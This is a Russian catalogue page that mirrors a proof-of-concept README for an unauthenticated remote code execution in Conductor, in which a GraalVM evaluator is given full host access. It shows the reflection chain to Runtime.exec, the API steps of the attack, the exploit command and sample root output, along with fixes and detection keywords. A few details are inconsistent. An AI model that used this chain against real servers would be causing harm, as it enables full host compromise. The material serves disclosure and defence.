Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-58138 — CVE-2026-58138 — Conductor (3.21.21..<3.30.2) неаутентифицированный RCE через INLINE GraalVM evaluator (HostAccess.ALL). Лаборатория и PoC, проверено e2e (root). | Kitploit
Инструменты/GitHubGitHub/ch4120n/cve-2026-58138
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной НагрузкиЛаборатории и Практика
GitHubch4120n/cve-2026-58138

CVE-2026-58138

CVE-2026-58138 — Conductor (3.21.21..<3.30.2) неаутентифицированный RCE через INLINE GraalVM evaluator (HostAccess.ALL). Лаборатория и PoC, проверено e2e (root).

Репозиторий
151 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-58138 — Неавторизованное RCE в Conductor через GraalVM Evaluator

CVE CVSS Status Auth

TL;DR: Orkes/OSS Conductor (версии 3.21.21 до < 3.30.2) обрабатывает пользовательский JavaScript в задачах INLINE с помощью контекста GraalVM, имеющего полный доступ к хосту (HostAccess.ALL). Поскольку API сообщества по умолчанию не требует аутентификации, любой неавторизованный пользователь может отправить вредоносный workflow, перейти от связанного JavaScript-объекта к java.lang.Runtime и получить от имени процесса Conductor (часто ).

неавторизованное удалённое выполнение кода (RCE)
root

Содержание

  1. Обзор уязвимости
  2. Основная причина
  3. Сценарий эксплуатации
  4. Быстрый старт и воспроизведение
  5. Влияние
  6. Устранение
  7. Обнаружение
  8. Авторы и отказ от ответственности

Обзор уязвимости

АтрибутДетали
Идентификатор CVECVE-2026-58138
Затронутое ПОConductor 3.21.21 – 3.30.1
Исправленная версия3.30.2 (коммиты: 87a7d96, c691e35)
Класс уязвимостиCWE-94: Внедрение кода (обход sandbox GraalVM polyglot)
Оценка CVSS v3.19.8 (Critical) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
АутентификацияОтсутствует (API сообщества по умолчанию не аутентифицирован)
ПодтверждениеПодтверждено от root на conductoross/conductor:3.22.3

Примечание о версиях: Версии до ~3.29.x используют конфигурацию allowHostAccess(HostAccess.ALL) без изменений, что напрямую эксплуатируется данным PoC. Версии 3.30.0 и 3.30.1 ввели частичный блок-лист (блокирующий некоторые отражения), но полное исправление (allowHostClassLoading(false) + усиление движка) было реализовано только в 3.30.2. Данный PoC нацелен на конфигурацию без sandbox.


Основная причина

Уязвимость существует в том, как Conductor настраивает polyglot-контекст GraalVM для выполнения скриптов.

В core/.../events/ScriptEvaluator.java (≤ 3.29.x) контекст строится следующим образом:

root@kitploit:~
return Context.newBuilder("js")
        .allowHostAccess(HostAccess.ALL)   // ОПАСНОСТЬ: полный хост-интероп, отсутствие sandbox
        .build();

Почему это означает полное поражение:

  1. HostAccess.ALL предоставляет JavaScript-движку разрешение вызывать любые методы и обращаться к любым полям Java-объектов хоста.
  2. Задача INLINE связывает свои входные параметры с JavaScript-переменной $, которая является реальным Java-объектом.
  3. Атакующий может выстроить цепочку отражений Java, начиная с $: $.getClass().getClass() ➔ java.lang.Class ➔ Class.forName("java.lang.Runtime") ➔ Runtime.getRuntime().exec("sh -c <command>").
  4. Аналогичная уязвимость существует и в Python-оценщике (Context.newBuilder("python").allowAllAccess(true)).

Сценарий эксплуатации

Для атаки не требуется аутентификация, и она состоит из трёх простых шагов:

  1. Регистрация: Отправьте POST-запрос на /api/metadata/workflow с вредоносным определением workflow. Задача INLINE содержит рефлексивный JavaScript-пейлоад в поле expression.
  2. Выполнение: Отправьте POST-запрос на /api/workflow/{workflow_name} для запуска workflow.
  3. Извлечение: Движок GraalVM выполняет пейлоад. Рефлексивный Runtime.exec запускает команду ОС, а PoC хитроумно перехватывает stdout и возвращает его как результат задачи result, который затем извлекается через API.

Быстрый старт и воспроизведение

1. Запуск уязвимой лаборатории

Запустите локальный экземпляр уязвимой версии Conductor с помощью Docker.

root@kitploit:~
# Клонируйте репозиторий и запустите лабораторную среду
docker compose -f docker/docker-lab.yml up -d

# Подождите ~60 секунд, пока сервер «всё-в-одном» полностью загрузится

2. Запуск PoC

Выполните предоставленный Python-скрипт эксплойта. Он использует только стандартную библиотеку Python (внешние зависимости не требуются).

root@kitploit:~
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname; whoami"

3. Ожидаемый вывод

root@kitploit:~
[*] Target: http://127.0.0.1:8080
[*] Command: 'id; hostname; whoami'
[*] Registering workflow with a malicious INLINE (javascript) task ... (no auth)
[*] Starting workflow execution ... (no auth)
[*] Started workflow id=pwn_1705432100; reading INLINE task output ...

[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+deb13-amd64

Примечание: Вывод uid=0(root) доказывает реальное выполнение на хосте, а не имитацию ответа.


Влияние

Успешная эксплуатация даёт атакующему возможность выполнять произвольные команды ОС на хосте-оркестраторе Conductor.

Поскольку Conductor часто развёртывается с повышенными привилегиями для управления инфраструктурой, это обычно приводит к:

  • Полной компрометации движка workflow.
  • Доступу к нижележащим слоям хранения (Redis, PostgreSQL, Elasticsearch).
  • Горизонтальному перемещению через сохранённые учётные данные или нижестоящие системы, запускаемые workflow.

Устранение

  1. Немедленно обновитесь: Перейдите на Conductor ≥ 3.30.2. В этой версии JavaScript и Python оценщики больше не работают с включённым хост-доступом или загрузкой классов.
  2. Эшелонированная защита:
    • Разместите шлюз аутентификации (например, OAuth2, API Keys) перед API Conductor.
    • Запускайте серверный процесс Conductor от пользователя без прав root с минимальными привилегиями.
    • Внедрите строгую сетевую сегментацию, чтобы ограничить круг лиц, имеющих право регистрировать или выполнять workflow.

Обнаружение

Отслеживайте в вашей среде следующие индикаторы компрометации (IoC):

  • Определения workflow: Помечайте любые задачи INLINE, LAMBDA, DO_WHILE или SWITCH, в строке expression которых встречаются:
    • getClass, forName, Runtime, exec, ProcessBuilder
    • java.lang.reflect или обращение к пакету java. общего назначения
  • Сигналы на уровне хоста: Отслеживайте, не запускают ли JVM-процессы Conductor неожиданно интерпретаторы командной оболочки (sh, bash, cmd.exe) или исходящие сетевые соединения.

Детальный анализ цепочки отражений, конфигураций оценщиков для конкретных версий и анализ исправлений см. в ANALYSIS.md.


Авторы и отказ от ответственности

  • Поддержка репозитория: Ch4120N
  • Доработка PoC: (Ch4120N/CVE-2026-58138)
  • Ссылка на уведомление: Orkes Conductor unauth RCE via GraalVM script evaluators

Отказ от ответственности: Этот репозиторий содержит независимую, воспроизводимую лабораторную среду и доказательство концепции (PoC), предназначенные исключительно для оборонительного, образовательного и санкционированного тестирования безопасности. Не используйте данный код против систем, которыми вы не владеете или на тестирование которых не имеете явного письменного разрешения. Авторы не несут ответственности за неправомерное использование.

Скачать инструмент